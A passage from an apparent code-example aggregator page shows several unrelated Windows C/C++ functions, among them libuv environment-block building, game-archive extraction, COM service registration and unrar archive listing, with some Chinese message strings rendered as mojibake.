			ret = ERR_FILE_CREATE;
			break;
		}

		WriteFile(hFile, unpack, file_length, &ByteWrite, NULL);

		if (ByteWrite != file_length)
		{
			wsprintfW(buf2, L"[ÎļþдÈë´íÎó]%s", file_name);
			ret = ERR_FILE_ERITE;
			break;
		}
		int t = GetLastError();
		if (!t || t == ERROR_ALREADY_EXISTS)
			wsprintfW(buf2, L"[Òѱ£´æ]%s", file_name);
		else
		{
			wsprintfW(buf2, L"[ÎÞ·¨±£´æ]%s,´íÎóÂë%d", file_name, GetLastError());
			ret = ERR_FILE_OTHERS;
		}
	}while(0);

	AppendMsg(buf2);
	CloseHandle(hFile);
	return ret;
}
示例#26
0
文件: process.c 项目: Begonia5/node
/*
 * The way windows takes environment variables is different than what C does;
 * Windows wants a contiguous block of null-terminated strings, terminated
 * with an additional null.
 *
 * Windows has a few "essential" environment variables. winsock will fail
 * to initialize if SYSTEMROOT is not defined; some APIs make reference to
 * TEMP. SYSTEMDRIVE is probably also important. We therefore ensure that
 * these get defined if the input environment block does not contain any
 * values for them.
 */
int make_program_env(char* env_block[], WCHAR** dst_ptr) {
    WCHAR* dst;
    WCHAR* ptr;
    char** env;
    size_t env_len = 1; /* room for closing null */
    int len;
    int i;
    DWORD var_size;

    env_var_t required_vars[] = {
        E_V("SYSTEMROOT"),
        E_V("SYSTEMDRIVE"),
        E_V("TEMP"),
    };

    for (env = env_block; *env; env++) {
        int len;
        check_required_vars_contains_var(required_vars,
                                         ARRAY_SIZE(required_vars),
                                         *env);

        len = MultiByteToWideChar(CP_UTF8,
                                  0,
                                  *env,
                                  -1,
                                  NULL,
                                  0);
        if (len <= 0) {
            return GetLastError();
        }

        env_len += len;
    }

    for (i = 0; i < ARRAY_SIZE(required_vars); ++i) {
        if (!required_vars[i].supplied) {
            env_len += required_vars[i].len;
            var_size = GetEnvironmentVariableW(required_vars[i].wide, NULL, 0);
            if (var_size == 0) {
                return GetLastError();
            }
            required_vars[i].value_len = var_size;
            env_len += var_size;
        }
    }

    dst = malloc(env_len * sizeof(WCHAR));
    if (!dst) {
        return ERROR_OUTOFMEMORY;
    }

    ptr = dst;

    for (env = env_block; *env; env++, ptr += len) {
        len = MultiByteToWideChar(CP_UTF8,
                                  0,
                                  *env,
                                  -1,
                                  ptr,
                                  (int) (env_len - (ptr - dst)));
        if (len <= 0) {
            free(dst);
            return GetLastError();
        }
    }

    for (i = 0; i < ARRAY_SIZE(required_vars); ++i) {
        if (!required_vars[i].supplied) {
            wcscpy(ptr, required_vars[i].wide);
            ptr += required_vars[i].len - 1;
            *ptr++ = L'=';
            var_size = GetEnvironmentVariableW(required_vars[i].wide,
                                               ptr,
                                               required_vars[i].value_len);
            if (var_size == 0) {
                uv_fatal_error(GetLastError(), "GetEnvironmentVariableW");
            }
            ptr += required_vars[i].value_len;
        }
    }

    /* Terminate with an extra NULL. */
    *ptr = L'\0';

    *dst_ptr = dst;
    return 0;
}
示例#27
0
int arc_extract_file_save(HANDLE hFile,const struct IDX * const idx, int file_num, u32 correct, wchar_t *cur_dir)
{
	CBG _cbg;
	bool succees_v2 = false;

	u8 *raw_data;
	u32 R, file_processsed = 0;

	wchar_t tmp[160];

	for (int i=0; i<file_num; ++i)
	{
		u8 *file = (u8*)VirtualAlloc(NULL, idx[i].size, MEM_COMMIT, PAGE_READWRITE);
		if (!file) return ERR_MEM;

		SetFilePointer(hFile, correct + idx[i].offset, 0, FILE_BEGIN);
		ReadFile(hFile, file, idx[i].size, &R, 0);

		int cbg_ver = 0;
		int raw_len = idx[i].size;
		raw_data = 0;
		if (Is_DSC(file))
		{
			if ((raw_len = DecodeDSC(&raw_data, file, idx[i].size)) < 0)
			{
				AppendMsg(TEXT("DSC½âÂë´íÎó"));
				VirtualFree(file, idx[i].size, MEM_DECOMMIT);
				VirtualFree(file, 0, MEM_RELEASE);
				continue;
			}
			if (Is_DSC_Image(raw_data, raw_len))
			{
				u32 bmp_len;
				u8 *bmp = Save_DSC_Bmp(raw_data, raw_len, &bmp_len);
				if (bmp)
				{
					u8 *tmp = raw_data;
					raw_data = bmp;
					free(tmp);
					raw_len = bmp_len;
					strcat((char*)idx[i].name, ".bmp");
				}
			}
		}
		else if (cbg_ver = Is_CBG(file))
		{
			if (cbg_ver == 1)
			{
				raw_len = DecodeCBG(&raw_data, file, idx[i].size);
				strcat((char*)idx[i].name, ".bmp");
				R = GetLastError();
			}
			else if (cbg_ver == 2)
			{
				succees_v2 = _cbg.Uncompress((s8*)file, idx[i].size);
			}
		}
		else
		{
			raw_data = (u8*)malloc(idx[i].size);
			memcpy(raw_data, file, idx[i].size);
		}
		// raw_data
		wchar_t wfilename[96];
		MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, (PCSTR)idx[i].name, lstrlenA((PCSTR)idx[i].name), wfilename, 32);
		wfilename[lstrlenA((PCSTR)idx[i].name)] = '\0';
		if (cbg_ver == 2)
		{
			if (succees_v2)
			{
				wcscat(wfilename, L".bmp");
				if (!SplitFileNameAndSave(cur_dir, wfilename, _cbg.BmpData, _cbg.Size))
					++file_processsed;
			}
			else
			{
				wcscpy(tmp, wfilename);
				wcscat(tmp, L"½âÂëʧ°Ü£¡´íÎóÔ­Òò£º");
				wcscat(tmp, _cbg.GetError());
				wcscat(tmp, L"\n");
				AppendMsg(tmp);
			}
			succees_v2 = false;
		}
		else if (!SplitFileNameAndSave(cur_dir, wfilename, raw_data, raw_len))
			++file_processsed;

		if (raw_data) free(raw_data);
		VirtualFree(file, idx[i].size, MEM_DECOMMIT);
		VirtualFree(file, 0, MEM_RELEASE);
	}
	return file_processsed;
}
示例#28
0
HRESULT CServiceModule::RegisterServer(BOOL bReRegister, BOOL bRegTypeLib, BOOL bService, int argc, char * argv[])
{
	// Enter the COM MTA
	TCCoInit init(COINIT_MULTITHREADED);
	if (init.Failed())
		return init;

	// Initialize the ATL module
	HRESULT hr = _Module.Init(g.hInst); // init COM and/or NT service stuff
	ZSucceeded(hr);

	if (IsWin9x())
		bService = false; // Windows 9x doesn't support services

	  // Remove any previous service since it may point to
	  // the incorrect file
	if (IsInServiceControlManager() && !bReRegister)
		RemoveService();

	// Add service entries
	_Module.UpdateRegistryFromResource(IDR_AllSrv, true,
		_AGCModule.GetRegMapEntries());

#ifdef MONOLITHIC_DPLAY
	// Register custom dplay bits
	RegisterMonolithicDPlay();
#endif

	// Create the component category manager
	CComPtr<ICatRegister> spCatReg;
	hr = CoCreateInstance(CLSID_StdComponentCategoriesMgr, NULL, CLSCTX_ALL,
		IID_ICatRegister, (void**)&spCatReg);
	ZSucceeded(hr);

	if (SUCCEEDED(hr))
	{
		// Determine the LCID for US English
		const LANGID langid = MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US);
		const LCID lcid = MAKELCID(langid, SORT_DEFAULT);

		// Register the component category
		CATEGORYINFO catinfo;
		catinfo.catid = CATID_AllegianceAdmin;
		catinfo.lcid = lcid;
		wcscpy(catinfo.szDescription, L"Allegiance Admin Objects");
		hr = spCatReg->RegisterCategories(1, &catinfo);
		ZSucceeded(hr);

		// Explicitly release the smart pointer
		spCatReg = NULL;
	}

	if (!bReRegister)
	{
		// Adjust the AppID for Local Server or Service
		CRegKey keyAppID;

		DWORD lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return lRes;

		CRegKey key;
		lRes = key.Open(keyAppID, _T("{E4E8767E-DFDB-11d2-8B46-00C04F681633}"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return lRes;

		key.DeleteValue(_T("LocalService"));

		if (bService)
		{
			// mdvalley: I hate my ATL libraries sometimes (SetStringValue)
			key.SetValue(_T(__MODULE__), _T("LocalService"));
			key.SetValue(_T("-Service"), _T("ServiceParameters"));
			// Create service
			InstallService(argc, argv);
		}
	}

	// Add object entries
	hr = _Module.CComModule::RegisterServer(bRegTypeLib);

	// Terminate the ATL module
	_Module.Term();
	return hr;
}
示例#29
0
文件: list.cpp 项目: 1ldk/mpc-hc
void ListFileHeader(Archive &Arc,FileHeader &hd,bool &TitleShown,bool Verbose,bool Technical,bool Bare)
{
  wchar *Name=hd.FileName;
  RARFORMAT Format=Arc.Format;

  if (Bare)
  {
    mprintf(L"%s\n",Name);
    return;
  }

  if (!TitleShown && !Technical)
  {
    if (Verbose)
    {
      mprintf(L"\n%ls",St(MListTitleV));
      mprintf(L"\n----------- ---------  -------- ----- -------- -----  --------  ----");
    }
    else
    {
      mprintf(L"\n%ls",St(MListTitleL));
      mprintf(L"\n----------- ---------  -------- -----  ----");
    }
    TitleShown=true;
  }

  wchar UnpSizeText[20],PackSizeText[20];
  if (hd.UnpSize==INT64NDF)
    wcscpy(UnpSizeText,L"?");
  else
    itoa(hd.UnpSize,UnpSizeText);
  itoa(hd.PackSize,PackSizeText);

  wchar AttrStr[30];
  if (hd.HeaderType==HEAD_SERVICE)
    swprintf(AttrStr,ASIZE(AttrStr),L"%cB",hd.Inherited ? 'I' : '.');
  else
    ListFileAttr(hd.FileAttr,hd.HSType,AttrStr,ASIZE(AttrStr));

  wchar RatioStr[10];

  if (hd.SplitBefore && hd.SplitAfter)
    wcscpy(RatioStr,L"<->");
  else
    if (hd.SplitBefore)
      wcscpy(RatioStr,L"<--");
    else
      if (hd.SplitAfter)
        wcscpy(RatioStr,L"-->");
      else
        swprintf(RatioStr,ASIZE(RatioStr),L"%d%%",ToPercentUnlim(hd.PackSize,hd.UnpSize));

  wchar DateStr[50];
  hd.mtime.GetText(DateStr,ASIZE(DateStr),Technical,Technical);

  if (Technical)
  {
    mprintf(L"\n%12s: %s",St(MListName),Name);

    bool FileBlock=hd.HeaderType==HEAD_FILE;

    if (!FileBlock && Arc.SubHead.CmpName(SUBHEAD_TYPE_STREAM))
    {
      mprintf(L"\n%12ls: %ls",St(MListType),St(MListStream));
      wchar StreamName[NM];
      GetStreamNameNTFS(Arc,StreamName,ASIZE(StreamName));
      mprintf(L"\n%12ls: %ls",St(MListTarget),StreamName);
    }
    else
    {
      const wchar *Type=St(FileBlock ? (hd.Dir ? MListDir:MListFile):MListService);
    
      if (hd.RedirType!=FSREDIR_NONE)
        switch(hd.RedirType)
        {
          case FSREDIR_UNIXSYMLINK:
            Type=St(MListUSymlink); break;
          case FSREDIR_WINSYMLINK:
            Type=St(MListWSymlink); break;
          case FSREDIR_JUNCTION:
            Type=St(MListJunction); break;
          case FSREDIR_HARDLINK:
            Type=St(MListHardlink); break;
          case FSREDIR_FILECOPY:
            Type=St(MListCopy);     break;
        }
      mprintf(L"\n%12ls: %ls",St(MListType),Type);
      if (hd.RedirType!=FSREDIR_NONE)
        if (Format==RARFMT15)
        {
          char LinkTargetA[NM];
          if (Arc.FileHead.Encrypted)
          {
            // Link data are encrypted. We would need to ask for password
            // and initialize decryption routine to display the link target.
            strncpyz(LinkTargetA,"*<-?->",ASIZE(LinkTargetA));
          }
          else
          {
            int DataSize=(int)Min(hd.PackSize,ASIZE(LinkTargetA)-1);
            Arc.Read(LinkTargetA,DataSize);
            LinkTargetA[DataSize > 0 ? DataSize : 0] = 0;
          }
          wchar LinkTarget[NM];
          CharToWide(LinkTargetA,LinkTarget,ASIZE(LinkTarget));
          mprintf(L"\n%12ls: %ls",St(MListTarget),LinkTarget);
        }
        else
          mprintf(L"\n%12ls: %ls",St(MListTarget),hd.RedirName);
    }
    if (!hd.Dir)
    {
      mprintf(L"\n%12ls: %ls",St(MListSize),UnpSizeText);
      mprintf(L"\n%12ls: %ls",St(MListPacked),PackSizeText);
      mprintf(L"\n%12ls: %ls",St(MListRatio),RatioStr);
    }
    if (hd.mtime.IsSet())
      mprintf(L"\n%12ls: %ls",St(MListMtime),DateStr);
    if (hd.ctime.IsSet())
    {
      hd.ctime.GetText(DateStr,ASIZE(DateStr),true,true);
      mprintf(L"\n%12ls: %ls",St(MListCtime),DateStr);
    }
    if (hd.atime.IsSet())
    {
      hd.atime.GetText(DateStr,ASIZE(DateStr),true,true);
      mprintf(L"\n%12ls: %ls",St(MListAtime),DateStr);
    }
    mprintf(L"\n%12ls: %ls",St(MListAttr),AttrStr);
    if (hd.FileHash.Type==HASH_CRC32)
      mprintf(L"\n%12ls: %8.8X",
        hd.UseHashKey ? L"CRC32 MAC":hd.SplitAfter ? L"Pack-CRC32":L"CRC32",
        hd.FileHash.CRC32);
    if (hd.FileHash.Type==HASH_BLAKE2)
    {
      wchar BlakeStr[BLAKE2_DIGEST_SIZE*2+1];
      BinToHex(hd.FileHash.Digest,BLAKE2_DIGEST_SIZE,NULL,BlakeStr,ASIZE(BlakeStr));
      mprintf(L"\n%12ls: %ls",
        hd.UseHashKey ? L"BLAKE2 MAC":hd.SplitAfter ? L"Pack-BLAKE2":L"BLAKE2",
        BlakeStr);
    }

    const wchar *HostOS=L"";
    if (Format==RARFMT50 && hd.HSType!=HSYS_UNKNOWN)
      HostOS=hd.HSType==HSYS_WINDOWS ? L"Windows":L"Unix";
    if (Format==RARFMT15)
    {
      static const wchar *RarOS[]={
        L"DOS",L"OS/2",L"Windows",L"Unix",L"Mac OS",L"BeOS",L"WinCE",L"",L"",L""
      };
      if (hd.HostOS<ASIZE(RarOS))
        HostOS=RarOS[hd.HostOS];
    }
    if (*HostOS!=0)
      mprintf(L"\n%12ls: %ls",St(MListHostOS),HostOS);

    mprintf(L"\n%12ls: RAR %ls(v%d) -m%d -md=%d%s",St(MListCompInfo),
            Format==RARFMT15 ? L"3.0":L"5.0",hd.UnpVer,hd.Method,
            hd.WinSize>=0x100000 ? hd.WinSize/0x100000:hd.WinSize/0x400,
            hd.WinSize>=0x100000 ? L"M":L"K");

    if (hd.Solid || hd.Encrypted)
    {
      mprintf(L"\n%12ls: ",St(MListFlags));
      if (hd.Solid)
        mprintf(L"%ls ",St(MListSolid));
      if (hd.Encrypted)
        mprintf(L"%ls ",St(MListEnc));
    }

    if (hd.Version)
    {
      uint Version=ParseVersionFileName(Name,false);
      if (Version!=0)
        mprintf(L"\n%12ls: %u",St(MListFileVer),Version);
    }

    if (hd.UnixOwnerSet)
    {
      mprintf(L"\n%12ls: ",L"Unix owner");
      if (*hd.UnixOwnerName!=0)
        mprintf(L"%ls:",GetWide(hd.UnixOwnerName));
      if (*hd.UnixGroupName!=0)
        mprintf(L"%ls",GetWide(hd.UnixGroupName));
      if ((*hd.UnixOwnerName!=0 || *hd.UnixGroupName!=0) && (hd.UnixOwnerNumeric || hd.UnixGroupNumeric))
        mprintf(L"  ");
      if (hd.UnixOwnerNumeric)
        mprintf(L"#%d:",hd.UnixOwnerID);
      if (hd.UnixGroupNumeric)
        mprintf(L"#%d:",hd.UnixGroupID);
    }

    mprintf(L"\n");
    return;
  }

  mprintf(L"\n%c%10ls %9ls ",hd.Encrypted ? '*' : ' ',AttrStr,UnpSizeText);

  if (Verbose)
    mprintf(L"%9ls %4ls ",PackSizeText,RatioStr);

  mprintf(L" %ls  ",DateStr);

  if (Verbose)
  {
    if (hd.FileHash.Type==HASH_CRC32)
      mprintf(L"%8.8X  ",hd.FileHash.CRC32);
    else
      if (hd.FileHash.Type==HASH_BLAKE2)
      {
        byte *S=hd.FileHash.Digest;
        mprintf(L"%02x%02x..%02x  ",S[0],S[1],S[31]);
      }
      else
        mprintf(L"????????  ");
  }
  mprintf(L"%-12ls",Name);
}